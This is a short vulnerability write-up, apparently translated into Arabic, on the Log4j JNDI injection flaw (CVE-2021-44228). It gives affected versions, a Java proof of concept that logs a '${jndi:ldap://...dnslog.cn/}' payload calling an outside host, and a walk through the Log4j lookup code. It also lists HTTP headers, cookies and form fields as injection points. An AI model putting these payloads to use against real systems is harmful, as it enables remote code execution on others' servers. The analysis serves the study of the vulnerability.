
تحليل مفصل وإثبات المفهوم لثغرة CVE-2021-44228 (Log4j RCE)، بما في ذلك إعداد البيئة وتحليل الثغرة وآلية حقن JNDI وخطوات إعادة الإنتاج.
Jdk7u21 (أي إصدار يعمل)
الإصدارات المتأثرة: Apache Log4j 2.x <= 2.14.1
التطبيقات والمكونات المعروفة المتأثرة:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
إحداثيات log4j
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
بالنظر إلى الـ payload، لا مفر من البحث عن log4j lookup أو log4j jndi
https://logging.apache.org/log4j/2.x/manual/lookups.html【الوثائق الإنجليزية】
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html【الوثائق الصينية】

يمكننا رؤية طريقة الاستخدام، وليس من الصعب ملاحظة أنها تدعم jndi، ويدعم jndi بدوره بروتوكولات أخرى ويقوم بتحويلها، وليس من الصعب تذكر ldap؛ لنجرّب التصحيح لنرى. لأنني صححت البارحة في منتصف الليل حتى الخامسة والنصف صباحًا، وكانت لدي محاضرة صباحية، فذهبت للنوم، ولم أحفظ سوى لقطات شاشة لعملية التحليل

بدون إطالة، لنكمل؛ لأنني صححت عدة مرات الليلة الماضية، سأذهب مباشرة إلى النقطة الحاسمة

نصل مباشرة إلى النقطة الحاسمة: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

ندخل لمتابعة هذه الطريقة، في جافا الأصلية هذه الطريقة تقوم بتنسيق السلاسل النصية، ولا أعلم إن كانت كذلك هنا
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

هنا تم الحصول على الـ payload الخاص بنا عبر getMessage()، لماذا؟


لن أطيل هنا؛ لنكمل
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
يمكننا رؤية أنها تتحقق مما إذا كان يبدأ بـ${، وإذا كان كذلك، فسيتم تنفيذه، مما يؤدي إلى تفعيل نقطة الثغرة



وثائق هذه الطريقة يمكن الاطلاع عليها هناhttps://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





يبدو أن الاطلاع على الوثائق يكفي تقريبًا، وهنا يتم الحصول على محلل المتغيرات



ثم ندخل إلى org.apache.logging.log4j.core.lookup.Interpolator#lookup

يتم الحصول على البادئة المقابلة، واختيار كائن فئة jndi المقابل - JndiLookup


ومن ثم يتم حقن jndi، لتحقيق هدف تحميل الفئات عن بُعد؛

1、يقع jndi على الخادم، بحيث يطلب الهدف ملف الـ class من الخادم 2、يجب ملاحظة أن نقطة تفعيل ثغرة log4j هي الأماكن التي تُسجَّل فيها السجلات؛ مثل الأماكن التي قد يسجلها log4j مثل ترويسات طلبات HTTP، والكوكيز، وحقول تسجيل الدخول، ومعاملات GET، ومعاملات POST، إلخ.

بالنظر إلى الوثائق الرسمية، فهي في الواقع تقوم عبر التنسيق باستبدال ${jndi:ldap://uci5xf.dnslog.cn/test} ببيانات حقيقية؛

مقال مرجعي:https://blog.csdn.net/lqzkcx3/article/details/82050375 يستخدم log4j أيضًا lookup للحصول على بروتوكول، فيكون البروتوكول الذي تم الحصول عليه هو jndi أو data أو sys وغيرها. ويتم تخزينها داخليًا في شكل map؛ يتم التحقق من المفتاح المقابل، والحصول على الـ lookup المقابل وتنفيذه. مما يشكل ثغرة حقن jndi قياسية؛
من نقطة الدخول، ليس من الصعب ملاحظة أنه طالما تم تسجيله في السجلات، فسيتم تنفيذه (بعض الحالات لا يمكن) لأنه مكتوب على عجل، فلن نتعمق فيه؛
طريقة استغلاله هي: اختبر جميع نقاط التفاعل، هههههه